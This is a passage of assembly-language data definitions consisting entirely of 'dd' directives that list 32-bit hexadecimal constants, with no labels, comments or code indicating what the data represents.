64CC85D8h, 379E407h dd 0C7737A02h, 0E09CEA53h, 0F83BE4E1h, 8F363782h, 1090C658h dd 5BF90B7Ah, 98420FA0h, 686F2CEFh, 0A5682BECh, 0BEE5C398h dd 34BAF9h, 0CC68ED0Ch, 6108FDF0h, 1A4D53Ch, 68C41C1h dd 0A85F3082h, 0F118173Ch, 52CE97Bh, 6F406963h, 665014ADh dd 6B15A49Fh, 7E098A5h, 0B7004E06h, 2792D0ADh, 12CF99Ch dd 2D047A91h, 0D0058DF1h, 3D666231h, 10085218h, 13FAF71h dd 0B10EBB6Eh, 0E1D3C957h, 108C11F4h, 890818E5h, 0F82DB688h dd 2C343ED1h, 2BFA110Ch, 2E7C3B18h, 80D3137h, 0E02AAB83h dd 0C825EA51h, 1F3AA550h, 5C262605h, 0B10D2F01h, 51D0E134h dd 0A1E078ECh, 71F0E3FBh, 18FF6385h, 301BCBB0h, 1981DB27h dd 9903150h, 3C619BA7h, 1809E658h, 60D9DE11h, 91E8D82Ch dd 58E25A31h, 189BE8B5h, 0BEA37853h, 0B911100Ch, 3C680FDh dd 384A7084h, 7AC19B4Bh, 0AD5EF847h, 2AE02C1Dh, 6BF4B0A8h dd 0C1AC0850h, 511E3C7Dh, 710A0CFFh, 0D104B832h, 0A10A02C7h dd 0DF110CBCh, 526F7108h, 0B7878620h, 0B48D28B8h, 0C7FC2894h dd 108432ACh, 0B8818FE8h dd 0F02709F1h, 0C66F8591h, 2B093918h, 2FA2D8BBh, 30B31232h dd 50A48D9Ah, 7EB12086h, 0D454D8E9h, 0B0A08884h, 80A3F7D1h dd 8A30E06Fh, 0F10684B1h, 3350FC13h, 508FB46h, 0C753607Fh dd 52CB8Ch, 0D2561A2Ch, 0F7E71892h, 0DF7BA0C0h, 0FAE808C6h dd 2208748h, 36ECFD90h, 0F80F0720h, 80F1122Ch, 554053Bh dd 318C0D17h, 0FB1CF0B0h, 0EF68D4ACh, 0AEC02C61h, 88E8A9DEh dd 1450C6A7h, 30C5D4B4h, 482DAFF1h, 0E45C8AF8h, 0C7F4A0C3h dd 0F0F75194h, 710814DBh, 0D118F8B7h, 29EC09C3h, 31912D3Ch dd 3F0AB8F0h, 5EFD7201h, 21E03A9Ch, 9C6704FAh, 2C1C830Dh dd 40D170DEh, 23AAE09Ch, 0A9836004h, 2D2BE487h, 2C90B170h dd 0E4293124h, 4139189h, 709F7088h, 0BEE8031Eh, 277BBFA0h dd 31192CECh, 0CF58239Ah, 615D8BAh, 79A024FBh, 0A6FC2DCh dd 0B8E94AD9h, 70E6FBF8h, 0E731C46Ch, 0F03010FAh, 44C4CE78h dd 9D2307FBh, 6A18C0FDh, 7B24D9F6h, 5A0A04D1h, 1AF0CCFBh dd 1D661293h, 0F70049B8h, 0DF714801h, 8E08906Ah, 0F454F138h dd 0EC2148AAh, 5108DD30h, 0E492C4B4h, 629AC540h, 0FB58A0DBh dd 0A90CE8BCh, 0A9367334h, 78816167h, 201E6C11h, 0C0A93E0Ch dd 1408BE5Dh, 12CC1059h, 6C0E1962h, 243EFD82h, 26B824A8h dd 5E0C502Ah, 648E88B8h, 0C3A608B4h, 0C08C91A8h, 0C8F27124h dd 6D371890h, 2B06B825h, 189B4948h, 304125F0h, 0B085A531h dd 0F45FE387h, 0E3253D04h, 89274263h, 76A0417Fh, 30C19427h dd 576819F7h, 42DEA2C8h, 10088F06h, 2C664DF1h, 510E784Eh dd 308014D8h, 0DFB108B0h, 48D0900Bh, 3116D8CDh, 20784959h dd 1292B08Fh, 28D00695h, 577B3006h, 6031D381h, 6491BC04h dd 108ADEF2h, 1990CDF3h, 0DE3108EAh, 97F12C60h, 0B9A8CF50h dd 0CC2093E3h, 156A7C7Ch, 0F8E70AE4h, 7CCC4974h, 35BA6BF0h dd 731E162h, 2BC453Fh, 0C01BD637h, 7DA79481h, 76A08AB5h dd 0FFF0B0FAh, 0CB083B3Ah, 0ED31C740h, 0FDBEC0B6h, 0DAE5061Eh dd 263918B5h, 93C0267h, 743EE351h, 16C8930Ch, 2487391Ah dd 0F31CFC58h, 7CA61B8h, 41491D30h, 3B6EC9C2h, 507C89EDh dd 4951F0FAh, 54F04073h, 0B80218C6h, 0A78EA0D2h, 810C48CEh dd 900E56B2h, 0B31DC2C7h, 381BD110h, 4371FEC7h, 0BCC07439h dd 0CEE4571Ah, 8D6738C7h, 273C0379h, 77081552h, 0FC46240Ah dd 0F58DBC1h, 878184D4h, 748655F0h, 0AD6CE849h, 49E88F7Ch dd 5D6B464h, 54C10227h, 7C4C8511h, 31B0B0C3h, 9311B391h dd 577818FCh, 908194B4h, 0BD142C9Ch, 806924F1h, 7D2774F8h dd 0E731C4ACh, 3809F68h, 533E2265h, 73012FBh, 7C701083h dd 6782D5F0h, 24D77C20h, 0F82C39A7h, 0CF186759h, 8691E663h dd 20238FFBh, 0D327B801h, 4C20FF9Eh, 0C4BB4CA7h, 3E97113h dd 10DA91C0h, 24440810h, 6030612Bh, 0CD484021h, 938A0705h dd 0D0D289C7h, 81984F42h, 88B803C4h, 678885EBh, 0E404D9A1h dd 4DEFC2Dh, 93F3F203h, 383BFEFAh, 41F14087h, 6E41B40h dd 62FDD87Ch, 682715A9h, 70431CDBh, 3AC882DEh, 440F01F3h dd 0B0C723D0h, 0F8D870FAh, 18DF304Ch, 27ACE771h, 3E560490h dd 165FC170h, 711EFFCh, 2B142C0Dh, 0A6607034h, 40112653h dd 7DB0A703h, 36567490h, 551BC170h, 3C2CDBCh, 380A3EC7h dd 70FF98B1h, 306306D0h, 6771356Fh, 1812459h, 0D6B10884h dd 0B7208222h, 8F839CCFh, 19F0D668h, 38D78781h, 783C1451h dd 0D20511E6h, 7327183Ch, 6582D138h, 0DF3A08DDh, 9A34060Ch dd 0F4796F1Ch, 91F8C2C7h, 0F63CFDE5h, 2BA22E6h, 0E06CE702h dd 0B6DB110Dh, 55F80074h, 0FADDF1AFh, 3503E007h, 732A8953h dd 78087C6Fh, 0A4A3C95h, 0F6001A40h, 0BBA5232Ch, 6709FFh dd 72385DB9h, 0DCD1950Eh, 328048C4h, 0CA083C4Ch, 1471423Ch dd 0B0201B0Ah, 2016A74Eh, 0A001D18Ch, 6A899F61h, 12026F03h dd 6C281C96h, 0D562ADCEh, 1634038h, 0D16DB1EAh, 2584E8Ah dd 1B578FEAh, 266001D4h, 0F9688A99h, 17D0746Eh, 0B092227Ch dd 38CA2FE0h, 702390EAh, 0E8C3D240h, 20A9C2E0h, 0C70296C5h dd 0A054039Fh, 6C8E7815h, 6568A178h, 818CCDF9h, 4A488CC0h dd 2097AA1Eh, 80EE418Eh, 7D731C1Ah, 38A33FB3h, 36619A00h dd 7EC1C7CCh, 0D6F22C00h, 3270A277h, 9A21021Ch, 0DA20EC0Bh dd 4E041C9Ch, 0DEE6CA82h, 194F1000h, 4262DA21h, 1E1D9A70h dd 0E871C81Eh, 0D5303931h, 0E986BA00h, 145A2010h, 0DC1003F1h dd 0D080E427h, 13CD88CBh, 0ECE0FAE8h, 0B0174ADh, 0DDC92F4Bh dd 1E4FF000h, 740D38CAh, 107864D8h, 10D93558h, 7A191B90h dd 940709C3h, 1B9C3B89h, 0E108BF3Ah, 0D098ED93h, 12A80995h dd 0E9361AF8h, 8FB03010h, 0B0D18694h, 0EEEAF10Ch, 8AB01866h dd 1DEC8170h, 0E876708Ah, 0A6E0F39Ch, 0F9C6B18Bh, 1940D750h dd 81B3C9Ah, 3011271h, 0B01BA2FAh, 0A1A0727Ah, 9041CEBDh dd 0B05EE873h, 0B74B7604h, 2D7040C5h, 231A1FA5h, 19C0E990h dd 40AF7560h, 0F00210D8h, 985A1A14h, 0A90BCE9h, 7824B669h dd 0A83082CCh, 2C4119F2h, 0F0DAD0F1h, 9015C4AAh, 0BCA8BA03h dd 0D049108Ch, 0C6FA15B7h, 7C722BE8h, 0E31FB460h, 0F0DE4097h dd 88B72E3Ch, 0F0E8709Ah, 0EF282F6Dh, 2CA3B234h, 0B82ADFFBh dd 0A744D07Bh, 0CC1A50D3h, 1108DF8Bh, 155D12F4h, 1396B806h dd 1DA93308h, 1019EE18h, 6FC1A35Ah, 0A1B23424h, 43F67AE4h dd 830BE2D0h, 0A31FAF4h, 0CC449A08h, 10EF0CD8h, 14483648h dd 0E86E1154h, 39FC7EE0h, 0A04808FFh, 0D06F1AC0h, 0B06EE4C8h dd 0B80F3F89h, 0FD17E8Ch, 0B0C211CCh, 705249BAh, 99946D24h dd 1ADD9E5h, 9B1AE5Ah, 16D9AE1h, 8BEA2BAh, 98587A24h, 0D7FA0870h dd 5E3AD8C6h, 0C905F0F0h, 0C82832E9h, 0D89B1404h, 0F8F2BA1Bh dd 0A2118CE1h, 0FA318008h, 743A10CBh, 4DC02427h, 71C963D8h dd 0A6F54900h, 506CCB1Eh, 73E61CF9h, 0BA1D10h, 0D044B470h dd 0A003B09h, 7F9F0FDh, 18961E1Fh, 41CB9964h, 0CA00B2C6h dd 0A0EFD06Ch, 8107F073h, 8F041A30h, 46835EE8h, 18802966h dd 8CDBE10h, 7237786Fh, 0AC4449B0h, 3E08C33Ch, 8735C5Fh dd 0B0054586h, 6068BB58h, 2023E429h, 26107499h, 9615CBFBh dd 0BFA05CBDh, 0D820B9BBh, 0F1460367h, 11906CC5h, 0B5F0A810h dd 31E27AF0h, 0E6392C62h, 0B0988259h, 0C70B612h, 9A983ACDh dd 420306A9h, 4706CB4h, 0F082BB3h, 0EBD1E0D4h, 41C7C189h dd 781CFEA6h, 83D0AF14h, 0B989827Bh, 0E7C6B114h, 0ABF01890h dd 627B70B8h, 0E2E110C3h, 8FDD1841h, 5E7B909h, 887C0850h dd 8821088Eh, 0AA396618h, 857FC89h, 141AC388h, 15FFAFFh dd 41C9A486h, 20E687C0h, 0FCAF3A60h, 0AA6FAF82h, 0CC0F10B2h dd 80D478CCh, 9A723990h, 0BE9F3274h, 94BE3AD0h, 5A17E20Ch dd 0EC4691E3h, 0DF8CA003h, 3350C5BBh, 15B806B8h, 8224A019h dd 410C342Ah, 634328DAh, 0D97D08FFh, 886F831h, 2C20B590h dd 90BEE930h, 49DCA1Dh, 78BBF310h, 61B49896h, 0BCE691A9h dd 0B6809829h, 40BFF008h, 26633A24h, 19B73288h, 70B9BC08h dd 44F4476Ah, 22C9FE7h, 0A3EE2AF6h, 8106016Ah, 0D0A4433Dh dd 5B406074h, 8EB6190h, 2B71F30h, 0F0B48365h, 906815A7h dd 7AF1F8EAh, 76DDDC91h, 48BFA680h, 4D314002h, 41C71E51h dd 92B379ACh, 3C7C6108h, 6B31582h, 0C60C90C0h, 348804F3h dd 0E6D048C5h dd 3E48C01Ah, 0A81404FCh, 5601BE3h, 0F403DC66h, 15B26750h dd 0A0A908A0h, 969A7DE0h, 6286B844h, 0EB30402Ch, 290488BEh dd 6D4F7BECh, 79362606h, 0C07CEA56h, 0C1C353Dh, 0EA468069h dd 6A8370ADh, 0A024E7Dh, 0DE70E631h, 6CF815ECh, 0C4C30EB1h dd 0C916064h, 20881514h, 9C6C870Ch, 5371CC50h, 0E461A671h dd 0B6793038h, 2B7CCC41h, 8678098h, 0C2403750h, 31489A91h dd 4A28B1FFh, 89088CFEh, 0C19440FDh, 76129008h, 6041E172h dd 5231702Ch, 9AF8089Ch, 0F09B8A01h, 0EF4824F0h, 0D0581400h dd 0C8483EA8h, 796118C8h, 9080A720h, 0A1D771C4h, 887B384h dd 8FD1D8B0h, 0ACA1D49Ch, 0C3100C37h, 4870972Fh, 81D0A957h dd 51FBF10Bh, 0BEC6EC50h, 32949012h, 620814D6h, 0C85B003h dd 0C37690F8h, 0A957FFE0h, 0A2AD80E4h, 80759851h, 48C43166h dd 0C4802430h, 0DFC9A350h, 58CCD960h, 1DE46406h, 1031A898h dd 7330087Dh, 0A2C29C47h, 188886E5h, 3A7026D8h, 6FB9F814h dd 81C4DC79h, 0D0042886h, 2089F06h, 3E93CF06h, 0A226026Ch dd 7D0188A5h, 657FD0A4h, 4639DC62h, 51D004EEh, 0C2F3B094h dd 736D2084h, 1365E610h, 4AB61D16h, 0C8077B8h, 3F099D2h dd 85E08493h, 44E65351h, 7C9A3175h, 50CE4032h, 81F44F2Eh dd 10FCB66h, 0DCA60174h, 62107020h, 8590404Bh, 6B81F84Fh dd 60517B4Bh, 410CC601h, 523370F0h, 6F7DFCh, 1A029B81h dd 3307667Bh, 7870B5F6h, 8CB048C4h, 4CDC161Dh, 8461F218h dd 64E00893h, 449F476Fh, 0B466BC68h, 3240F948h, 9DA18D50h dd 72D04C41h, 10D52ECCh, 55093699h, 0A477C195h, 4BA8F2F0h dd 26C96662h, 31A4A5EFh, 847A07Ch, 6A328F59h, 0CFC74606h dd 9C765798h, 0B759C4C1h, 0E6E188D2h, 31500AB5h, 4129F88Ch dd 6B22C510h, 0A898060Ah, 0A685D06Ch, 67411DE2h, 3C34C2D9h dd 816CAD3Bh, 0C70E2008h, 1000D75Eh, 31DFCCD9h, 13F2601Ch dd 0CD692C6h, 70088664h, 0C0E72532h, 0BF3CEF3Ch, 19833786h dd 6618488Fh, 0A738B948h, 480C90C1h, 100DCABEh, 0E208DD0Bh dd 25FCF069h, 0D07824B4h, 30B74231h, 0DA02B9A0h, 2B8F14E8h dd 0FF195C94h, 8BC4528h, 95F8E026h, 1925EC5Ch, 0E806AC03h dd 0E9801818h, 0C4E50E88h, 0C1862308h, 9A84D2E4h, 4110EC08h dd 0F8BE996Ch, 0A70A326h, 7CA4BB78h, 1A01B502h, 4148D8CAh dd 0D8849818h, 61136D0h, 49C82241h, 351260D8h, 930878BCh dd 412012F2h, 0C0E6341Bh, 0DE88C5B0h, 6E530670h, 1639D9A3h dd 1E9EF206h, 0E0E0EB70h, 0B35F4B26h, 6FA639C5h, 0DC6807Ch dd 0D67DF531h, 34B9DDF0h, 0BC493708h, 4143E05Ch, 8092F8FFh dd 84AF3F66h, 8A39B681h, 860193E6h, 30F040B4h, 68ADBC45h dd 0D714CF03h, 26A11847h, 419038B6h, 386C1E82h, 9AB17BCBh dd 93E24671h, 3AF39h, 19984370h, 80976940h, 900885F2h dd 1CC196F7h, 10959BE8h, 68F08442h, 0E261F495h, 0CDAAE669h dd 88BE4302h, 5C96E908h, 8B0686FCh, 445738B1h, 2538CF88h dd 0F023F101h, 30381787h, 4CA04A5Ah, 610BF88Ch, 24F41C22h dd 1570C5C6h, 64E374F0h, 0DD197DF8h, 0C766C4A0h, 452438BAh dd 5C1EC8C8h, 48DF8872h, 0C0C60FF4h, 7289AA90h, 7C90C150h dd 89CB035h, 0B41EE484h, 51BC3115h, 3ED0E0B5h, 117008C5h dd 417DB8D3h, 0C813DC10h, 4511105Ah, 2BEC2299h, 4060BB36h dd 48C872C4h, 31409149h, 2B70F897h, 5CCEA827h, 393855EEh dd 5080A626h, 81B4AF4Fh, 8DE2041Bh, 0C1460179h, 60288852h dd 0C43D9024h, 0C1381008h, 241C3028h, 8C929E50h, 0CFC84857h dd 0EE36E4FCh, 87F23C89h, 3E79B0C0h, 3231023Ch, 48DD01CFh dd 0E005E905h, 884DA2B0h, 219833h, 787E9990h, 29EC2458h dd 4E5098F0h, 0D12818F4h, 0DA660DEh, 0A11098C2h, 0C98BCBDh dd 0C2598F58h, 2857C639h, 595C9E8h, 0B045EBEEh, 54925266h dd 81AC6F20h, 2D2068F8h, 68860280h, 0B217500Ch, 0DE98F620h dd 884464E0h, 0E70899C3h, 4C493896h, 50842A29h, 36242E21h dd 20BC1C78h, 4A64827h, 0C2F01013h, 7C7056C4h, 10A06549h dd 3526C6F8h, 71C0FBDCh, 0C9C59A89h, 7C6D7746h, 0B8807432h dd 1573EA3Fh, 4610F4B0h, 32193D35h, 44C3A0B3h, 28C010D8h dd 0C2CECADh, 57FB4803h, 0C8BE3C0h, 15D2E658h, 2A48E250h dd 0FF771830h, 0C6CED108h, 20E8D7F0h, 4A81F874h, 0B8D8AC27h dd 34A64ACAh, 14370610h, 9324E92Eh, 0B0F406F4h, 507BD097h dd 0E718B960h, 2C10729Fh, 0AC47924h, 3AFC80BDh, 906ED3A0h dd 0BE526908h, 94F0C4C4h, 0EFA67054h, 50D8C517h, 0FDE4092Ch dd 9B7E3C61h, 0E1F8F099h, 988CB7DCh, 6510B00Ah, 16EE09Ah dd 0C40586A8h, 0C435A20h, 90101DD0h, 8E6DA32h, 0A57003EFh dd 4310C813h, 8C9D7C83h, 9AB8B4C1h, 9C60188Ch, 21C67EE8h dd 661081BAh, 0F0283959h, 0D240A3F8h, 2711C41Ch, 510082A1h dd 0C8A0286Fh, 8A42BA23h, 4FCB7C6h, 1F2DBEF0h, 0BA5883EDh dd 0D01144CEh, 0AB108021h, 639008C4h, 7DEB38D3h, 2684A809h dd 74ACA1C2h, 0C51008BEh, 0C49210FFh, 74055D27h, 8EEC4CA2h dd 843390F8h, 192ED0D5h, 923B018h, 0A4F1986Eh, 0C3027020h dd 0D4F8D0F8h, 374F10E1h, 1000D4C0h, 168855CCh, 0FC49660Ah dd 0F881500Ah, 98B59E8Ch, 0F0ECA0F7h, 0B0C54D85h, 5470EC40h dd 0C4878C4Fh, 25C10C8h, 85785230h, 0E806A5D8h, 44C99170h dd 8066BF2Ch, 48193920h, 3AAC9C54h, 5845FE29h, 0FBD8861Fh dd 0D0B04AA8h, 53242008h, 74435680h, 0D2265161h, 871F02FDh dd 0AC6AF0F0h, 153D1009h, 2148A424h, 3C468A28h, 45101290h dd 2B5590DCh, 5BE411CCh, 9172E6C4h, 89B3BAB4h, 3EDEB98h dd 14E98DF4h, 0A89E8B18h, 0A8EF2618h, 68CA8A49h, 971CC4E3h dd 0D7CFBC01h, 37D0BD1Ah, 0D084001Fh, 0AD6D7E77h, 163C060Eh dd 2B4A0141h, 48B1D63h, 2646C8E4h, 66F7D3Bh, 39054F43h dd 0E07F3721h, 0A5E8F45Ah, 25084546h, 6D1CD39Ah, 1AF71BFAh dd 9069A448h, 45A0C680h, 0B8CCFEA1h, 53B74021h, 40C44476h dd 0E322A4h, 0D0D16765h, 12801757h, 0B200AF46h, 5002F48Fh dd 0FF341C55h, 15EF00CBh, 3A8C306Ah, 13DD3C00h, 0EA6FBC98h dd 304FE870h, 28087EC9h, 24AE9A44h, 35EF0304h, 0FD60EEFEh dd 0BD08C85Ah, 0E81480Fh, 2F839F29h, 0CAC7616Bh, 98217328h dd 971D4363h, 11EB487Bh, 58989EF4h, 1FCFA0BFh, 655B8187h dd 8CD3C78Dh, 91243D48h, 58EF801Eh, 0E9CF48CCh, 7D038D8Fh dd 186096F2h, 81F15D91h, 90AF61D2h, 0FB90F220h, 1568B352h dd 0F684D57Dh, 639E2970h, 0E09D881Ch, 70ED7821h, 870889C1h dd 825BBD80h, 7E297036h, 0DD801C62h, 0EFBDFF33h, 0C9048B2h dd 0AB04212h, 94A40CB1h, 6173848Fh, 0F40F083Fh, 33AFF073h dd 0C0628CA5h, 84389A9Eh, 0A306FF1Ch, 2E3308D6h, 0CF65489Bh dd 0C9E187CEh, 0BE6E2FC2h, 80764268h, 0BDD9611Dh, 0B4E7318Fh dd 0E0CAE3D8h, 0CB6EA5AFh, 6FE0B818h, 68B163FCh, 0D01098F3h dd 7F30999Ah, 7ED08F08h, 0E031E0AFh, 3D1C9F78h, 2F805661h dd 7888C853h, 1A15C6E5h, 0B8C524A4h, 0C6D811FBh, 795DC465h dd 0FD0644Ch, 2F080663h, 39E132F7h, 0F01E471h, 0FB02AD84h dd 88DD88Eh, 1CBF1E8h, 0EF011A2Fh, 0D88C27C5h, 8E8B30E8h dd 0E00C7D28h, 81A36F32h, 4FB082B1h, 0A4ACA60Bh, 226F3708h dd 1C968778h, 70936A68h dd 0B60880E8h, 99DE37Ch, 384F7019h, 2F006609h, 8CA0D7C5h dd 70CFD19Ch, 0CB08F8E5h, 6E0090BBh, 30861091h, 4B318893h dd 0CD470892h, 0B6CF9441h, 0AF7A99D3h, 94489041h, 0C6198420h dd 8602FD0h, 2606EF20h, 0B87CDFCFh, 0FC08B0B2h, 0CCFA860Fh dd 89C6228h, 6F03128Fh, 4F300C38h, 9020A381h, 880F08C4h dd 0BCC28F02h, 19BF5803h, 39A5DE48h, 18889275h, 8E5C44Ch dd 68444D0Fh, 0EF089B30h, 28CAAAB6h, 2F0CF898h, 40AF0840h dd 4C448F41h, 960F800Ah, 57AF30C6h, 40CEF808h, 0EC92AB70h dd 4F11B764h, 845EF06h, 996527EEh, 0E84C0A40h, 0C6A811ACh dd 9196BE09h, 8C8AF489h, 8F06F18h, 0CD97E2CFh, 0D1201938h dd 1D199091h, 616F8F09h, 0B010B815h, 0BD097AC8h, 0AF0001CDh dd 895BAA3h, 0A128D42Ah, 0A863E8E4h, 0CAC680D4h, 3AACFA20h dd 889C9718h, 0E0C19D31h, 6139AACEh, 0A1D0D0C5h, 31D17803h dd 811097E1h, 0A44407FAh, 29314106h, 3221D240h, 8040C33Eh dd 0CABE103h, 0B7090108h, 0B67C9D18h, 893C137h, 0E1069B84h dd 0E3311157h, 0A4A320DCh, 8BE06080h, 37575817h, 0CC1D81F4h dd 45DFC549h, 0B6483C7h, 4232E7E0h, 0DFB90061h, 41381AF2h dd 8C6F12Bh, 3E50D720h, 3374FFBFh, 7D90DB8Fh, 0DAF091Fh dd 0E24A2107h, 0B8596141h, 891E098h, 0C1CD9001h, 55E1E0F3h dd 2C41A88Ch, 28D81A0h, 903D0FFEh, 605FF38h, 1B013823h dd 9E31901Dh, 0D6607814h, 0FDF28441h, 0F780208Ch, 0C63E9C0h dd 0E0E3F920h, 0F8EBD781h, 0E81133E1h, 0A80CEE40h, 0E8C4B261h dd 0A8C5664Ch, 0E7F0A091h, 4B88A0ADh, 0C61FE367h, 8E98931h dd 808C0421h, 0A1606441h, 2CA50E2Bh, 4755F84Ch, 36960080h dd 5E8A6ACh, 0EE08E86Eh, 0A8A71E2Ah, 0F18540EEh, 2811B965h dd 33C7DA00h, 40B0CAFEh, 11BF6037h, 0A48265EBh, 28084A06h dd 46403C76h, 0CDC080E8h, 0C4B5BD22h, 4B25630h, 4B3CF568h dd 87EC9F08h, 29B61DB0h, 2952D850h, 0E5975803h, 75F62821h dd 1C20A771h, 43428C52h, 1E8AD631h, 3F640C68h, 3631E75Bh dd 0B0503D53h, 3319AAC6h, 96E03F52h, 18887DF5h, 0BA66C820h dd 0F4096020h, 26F33C3Ch, 8383403h, 60A7DC72h, 6567AA13h dd 0C953100h, 807E2FA8h, 36D0FCDh, 0A0026D7h, 0D3445249h dd 3D0ED200h, 616C1E6Fh, 0BC500116h, 39A209C6h, 0D3C0CEA9h dd 2900BD77h, 62B5EB41h, 3AF44F78h, 0DA007257h, 6A4CD36Fh dd 5E0077BDh, 0BEE264E5h, 96FD2Eh, 7B8BC185h, 0F3653175h dd 61A5B90Eh, 4F2EE0EBh, 75023C4h, 35CD3E91h, 97A31F52h dd 0A2D07A60h, 3A000A8Eh, 100448ACh, 5B0235Dh, 0E02DB112h dd 901818C6h, 6900BC8Eh, 76BE21ABh, 7B34293Eh, 912C0C99h dd 0AE8082ADh, 0AF044E09h, 45D0A035h, 0F0C0A519h, 0D4F217h dd 643E5518h, 0B98FDE3Bh, 1E675C06h, 0A0D19124h, 471495h dd 5076CACEh, 0C0BB7F9Eh, 0F5678E01h, 0D78FBEC2h, 0B94C4Ch dd 34361959h, 8EC56A3Fh, 0CC0172F2h, 9AC22848h, 8D70D891h dd 0F0150175h, 1474B635h, 8FA05265h, 29876090h, 0C789F201h dd 0CFA14CCDh, 5DA08882h, 89843199h, 0A158164h, 8C98D2FDh dd 0D31856B1h, 4E7034E6h, 1F7FFE3Dh, 8022F66Fh, 9244BB9Bh dd 650A5EEBh, 0DC4CBCB0h, 0F91B0E00h, 0B00B1AC7h, 689400D7h dd 0D0A83510h, 0F03539Ah, 0F7A020DDh, 4F69A83Ah, 43880083h dd 417274A2h, 0FCA8A1A8h, 0DA2A51E3h, 3D039C86h, 0DE604D4Ah dd 0B5210074h, 46EDC8E7h, 1877C416h, 7600AEB0h, 0BA7B0C7Eh dd 2EB46Ch, 410A5DAEh, 0D2E3E044h, 0C8BE8E02h, 4B1D305Ch dd 0D0D78834h, 0C5B53CC0h, 4500C4D2h, 0BD787AB0h, 9A00CCCAh dd 85720B16h, 15174682h, 34698475h, 0E561BEC0h, 0BC6076B3h dd 57F1AA19h, 0F58C02FCh, 77BA6A70h, 413DDCA0h, 0D5061D4Dh dd 64535976h, 0E0E812A8h, 0E9423C9h, 2C909124h, 6BA39C41h dd 7848E0C6h, 0A2811EFEh, 887B4549h, 53C020FCh, 0A51F4277h dd 0CC54E751h, 9BC100E8h, 0B6122089h, 5C0100BDh, 0E8EB787Ch dd 6C02AB13h, 1EC3155Eh, 0F846C3E7h, 60127D97h, 963CF094h dd 15002F06h, 0FCA6E27Ah, 0C65079Fh, 0AE61B7F5h, 0AB022FD1h dd 3E8BB55Ch, 5A374060h, 5DA7A2Dh, 71930E34h, 1CACC387h dd 48D9B4F9h, 442489A0h, 235800ADh, 26FA00B2h, 0B5578573h dd 0C0002AD0h, 5109B8E4h, 60DBEABEh, 0E183A087h, 9CA064B2h dd 1A064C0Eh, 0A30CF539h, 0FD7000E2h, 7BECD215h, 0BB602E61h dd 0C958D660h, 64730E4Ch, 0FF4321F5h, 1DF2BD2Bh, 0D055B880h dd 8E005D93h, 8515F1D7h, 28BC8FE6h, 4832B91h, 0FB93C367h dd 0A218C1A6h, 0F9702070h, 7B0E5D1Ch, 75B7BA83h, 41C6D276h dd 0D3B89Dh, 0C54431A0h, 9DEB495Dh, 3C237500h, 0A1D1B24Eh dd 0A62200A4h, 4215E878h, 1C02FED7h, 73B40AF1h, 3084419Fh dd 524D94C0h, 0E400B457h, 6424D649h, 6907A238h, 0C65A45C9h dd 1BE31DF0h, 7304081Eh, 6E806D19h, 32654048h, 0A9F0641h dd 4AC95FD8h, 0E08C8C51h, 0B80C155Ah, 0B84B2F6Bh, 0DDE11302h dd 532840F1h, 89B39966h, 2A6BED4Ch, 21EFE4F2h, 3836C458h dd 30F587Fh, 80287D9Ah, 1F569398h, 0B9E204AAh, 908C6ABEh dd 0F49D99A8h, 0E297D00h, 0F015C22h, 0EE49005Fh, 1BDCCAFCh dd 9D008FC0h, 0BF964DA1h, 987A1F43h, 8CAA06h, 0F464F9F4h dd 40484DC4h, 4E423604h, 0D2AD8418h, 0D4E03430h, 41609CEEh dd 19A3A0D0h, 314B091h, 36118187h, 319660B1h, 0D42B9802h dd 604B14E2h, 1F4DA488h, 0C0A7DF38h, 0A5BACA3Bh, 8A056832h dd 0D45DA7Dh, 13A88010h, 5840D1E4h, 1686421Ah, 6F82A72h dd 47F0C0h, 7F32931Ch, 10F2FD8h, 51E0EF00h, 0A55DB89Fh dd 7E091CFh, 407CACEEh, 5E399396h, 2762FA17h, 0D5B55203h dd 0C9E1C067h, 60F33E49h, 0EF1A3980h, 5B320664h, 0FC09C499h dd 0C4902FF0h, 0C8C05ECEh, 477B99h, 9807A3F4h, 0E9EB3919h dd 793FAA02h, 0A012B7A8h, 6186E4C4h, 0E1F007Ah, 927E805Dh dd 0A7507F82h, 0C0B0B29Ch, 29848621h, 0A6208570h, 95A400D4h dd 3C84C451h, 1B00FB90h, 9E385732h, 191F1845h, 0F19DB4C5h dd 821C30C7h, 0AE715502h, 4ACBA8BAh, 286C28h, 0A290B9D2h dd 9FEFA642h, 35374A2Eh, 7E0C4028h, 0F11821BBh, 51E61227h dd 0C3BC24B3h, 701EC4A8h, 64A45F85h, 200FB12h, 76CB22A3h dd 0D10206C5h, 10230C59h, 0F5B92A09h, 43A898DFh, 9A6E2CA6h dd 1F8CA928h, 9B00BB71h, 5A192074h, 20A4300Ch, 4B8A171h dd 3D18BF00h, 2345B574h, 787F4C86h, 2CB5F1Fh, 0B0C38381h dd 987A18E8h, 0CF24EA10h, 2382B207h, 3DA153EEh, 1A1F3FD8h dd 0BEB47950h, 10C05Ch, 0B6E2524Dh, 13F54EA5h, 40FC35D1h dd 0D3B064DCh, 5A02964Bh, 56B2CDF9h, 0EFBCA0BBh, 0D2ADB534h dd 0EC8000A0h, 84B8D8FCh, 546A3A26h, 0EA8E3681h, 0F07E598Fh dd 437E5F76h, 776CB200h, 8BC7F566h, 8E051DC1h, 696D4CA9h dd 0F981E98h, 0BA29D378h, 1808BCD1h, 88E815F1h, 40EAA91Eh dd 0CA4A02B1h, 9C98652Dh, 0C6019809h, 534420AFh, 0FA52C84h dd 4B32836Dh, 80B2DD5Fh, 143AF12Ah, 5216EC7Ah, 90228EBCh dd 91C16023h, 0F97858A2h, 0DC49EC00h, 646D0DD7h, 0E405F092h dd 8EF4F82Fh, 0D0A94CBh, 28B309h, 80C42DEAh, 74008D9Ah dd 3D301064h, 752F8FE3h, 0F3D540EEh, 4AE99519h, 46E48089h dd 496F0027h, 5430B739h dd 0D1008C77h, 9D4B50CCh, 32D6748h, 0A1EAC495h, 788023E5h dd 0DFA0A226h, 7C0259EDh, 316A4775h, 20A0A9C3h, 0F2D39F90h dd 83BCB164h, 7E3E7B80h, 0A0526BAAh, 84A0F4A0h, 452C580Bh dd 762490EDh, 89502C28h, 2BBA8EB0h, 3420E929h, 868779A2h dd 21A4AD30h, 0E8F96B4h, 2226D13h, 457C40F2h, 9B78C4D2h dd 0BC017C71h, 168FC521h, 4893FD50h, 0D9204E07h, 412327CEh dd 0D0054DBBh, 0B2AFB694h, 51E1F88Dh, 9C51A0h, 21DD69CFh dd 0D1B1FEF0h, 7C479216h, 470B220Fh, 0F3A0A857h, 0B9C63A0Fh dd 0C49014D4h, 4B98AB0h, 66606D60h, 5CB5F8FAh, 0D3A42Dh dd 0AD28DBECh, 64738E81h, 62C70491h, 16AA032Eh, 0DAD800D0h dd 0E80E81FAh, 